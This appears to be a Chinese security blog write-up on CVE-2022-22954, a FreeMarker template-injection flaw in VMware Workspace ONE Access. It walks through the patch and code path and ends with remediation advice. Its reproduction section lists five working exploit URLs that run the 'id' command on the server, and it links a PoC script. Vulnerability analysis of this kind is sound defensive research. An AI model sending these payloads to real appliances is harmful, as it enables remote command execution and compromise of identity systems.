当前位置:网站首页>【漏洞复现】CVE-2022-22954 VMware Workspace ONE Access漏洞分析
【漏洞复现】CVE-2022-22954 VMware Workspace ONE Access漏洞分析
2022-07-21 05:08:00 【3Ss安全前线】
漏洞信息
VMware Workspace ONE Access(以前称为VMware Identity Manager)旨在通过多因素身份验证、条件访问和单点登录,让您的员工更快地访问SaaS、Web和本机移动应用程序。
近日VMware官网发布了VMware Workspace ONE Access存在多个漏洞:
其中漏洞编号CVE-2022-22954,CVSS评分为9.8,危害等级为严重。影响版本如下:
- VMware Workspace ONE Access Appliance (版本号:20.10.0.0 ,20.10.0.1 ,21.08.0.0 ,21.08.0.1 )
- VMware Identity Manager Appliance (版本号:3.3.3 , 3.3.4 , 3.3.5 ,3.3.6)
- VMware Realize Automation (版本号:7.6)
漏洞分析
从补丁入手分析,官方给出修复脚本HW-154129-applyWorkaround.py,补丁地址如下:
https://vmware-gs.my.salesforce.com/sfc/p/#f40000003u6t/a/5G0000002Nla/9COLfZG7uu8iDjLoZTis5Ltzmd1H87iToXs9uLZF8IU
首先关注补丁文件对模板的修改,删除了endusercatalog-ui-1.0-SNAPSHOT-classes.jar 中自带的模板 customError.ftl
看一下这个文件,发现下图位置调用了freemarker引擎的eval函数来渲染errObj
在freemarker官网文档中给出了安全问题的提示
https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval
此内置函数将字符串计算为FTL表达式,FTL表达式可以访问变量,并在它们上调用Java方法,因此(?eval)的字符串来自不受信任的来源,可能就会成为攻击媒介。可以判断是在customError渲染模板过程中产生了漏洞。
接着看那里可以渲染这个模板发现如下代码位置
com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError
并且设置了 errorObj 属性的值。
搜索handleUnauthorizedError调用关系发现两个函数,getErrorPage和handleUnauthorizedError
handleUnauthorizedError也在getErrorPage中,所以继续跟进getErrorPage
继续寻找/ui/view/error的调用,因为这是一个API接口,无法从请求中提javax.servlet.error.message,导致目标渲染的内容不可控。通过搜索找到另一处调用位于UiApplicationExceptionResolver#resolveException:
存在javax.servlet.error.message赋值过程,继续跟进发现两个异常处理类handleHttpMediaTypeNotAcceptableException、handleAnyGenericException
调用
可以看出handleAnyGenericException适配的异常更通用需要通过全局异常处理函数UiApplicationExceptionResolver#handleAnyGenericException触发freemarker模板渲染,在 handleAnyGenericException 中,进入 resolveException 时会根据异常的类型传入不同的参数,
如果异常类不是 LocalizationParamValueException 子类的话则传入 uiRequest.getRequestId(),所以还要抛出 LocalizationParamValueException 异常类或其子类异常且其构造函数可控的地方。
这里有一个InvalidAuthContextException异常,继承于LocalizationParamValueException
在 AuthContext 的构造函数中抛出该异常
参数均来自于传入的 AuthContext.Builder builder 对象。而生成 AuthContext对象的地方在AuthContextPopulationInterceptor 拦截器中,而且各项参数均是从请求中获取,可控。但该拦截器类是在 endusercatalog-auth-1.0-SNAPSHOT.jar 中的,正常情况下无法访问到类,但从 UiApplication.class 发现其使用了 @ComponentScan 注解将 该auth包的类装配进了bean容器。
在包中查找添加该拦截器的地方,处于 endusercatalog\ui\config\WebConfig.class 中。
匹配的URL如下
梳理接口见复现POC
漏洞复现
搭建漏洞利用环境
搭建环境进行虚拟机导入,下载存在漏洞的VMware Workspace ONE Access OVA文件,主机名需要设置为域名
搭建成功
漏洞验证POC如下:
- /catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
- /catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
- /catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
- /catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
- /catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B"freemarker.template.utility.Execute"%3Fnew%28%29%28"id"%29%7D
burp发送验证代码执行成功
测试脚本
漏洞测试脚本已编写完毕,下载链接如下:
https://github.com/3SsFuck/CVE-2022-22954-POC
效果图如下:
漏洞修复
参考漏洞影响范围进行排查。目前官方已发布修复补丁,请查看官方消息进行修复:https://kb.vmware.com/s/article/88099
参考文章
[1]https://mp.weixin.qq.com/s/X_E0zWONLVUQcgP6nZ78Mw
[2]https://mp.weixin.qq.com/s/2qHhPs1HcEXVQb7bkC3mcA
[3]https://xz.aliyun.com/t/11196
边栏推荐
- thinkphp6使用EasyWeChat5.x之公众号开发(一)
- Buuctf [gxyctf2019] no dolls
- Recommend a useful WYSIWYG markdown editor mark text
- Koa2快速搭建服务器
- Vulnhub-dc-4 target penetration record
- Boundary layer integral equation and Marangoni effect
- DVWA [SQL injection] error injection learning record
- Buuctf web casual note
- 解决uniapp编译后vendor.js文件过大(官方处理方案)
- BUUCTF(web类)
猜你喜欢
Nodejs读取并解析xml的DOM
加快无人机智能巡检规模化应用,福建电力输电运检智能化建设提速
thinkphp6使用EasyWeChat5.x公众号开发(二)
16. [assignment of string ends with semicolon]
vulnhub-DC-4靶机渗透记录
墨者学院-WebShell文件上传分析(第3-5题)
10. [file opening format and its determination of whether to open]
Openfoam programming: combination of VOF method and porous media model
php三行代码写测试接口
Buuctf web casual note
随机推荐
Wechat applet request:fail -2:net:: err_ FAILED
加快无人机智能巡检规模化应用,福建电力输电运检智能化建设提速
Buuctf [gxyctf2019] no dolls
nodejs使用POST方法接收js对象并写入json文件
web安全--文件上传中间件解析漏洞
Swift navigation bar color device and remove the lower edge line
Koa2 fast build server
wap绿色传奇搭建(纯净版)
11. [binary writing and writing of documents]
There are multiple heroes that share the same tag within a subtree
OpenFOAM中的多孔介质
Nodejs+Express使用 cors 中间件解决跨域问题
Usage and introduction of sonarlint
22. [static member access format] class name:: access member, then the member needs to be static]
PHP extracts the phone number in the string and verifies whether it is 11 digits
OpenFoam中的VOF相变方程
个人小程序:梦缘
Latex: derivative related symbols
[good article record] zorb framework construction process of embedded framework
攻防世界web题-shrine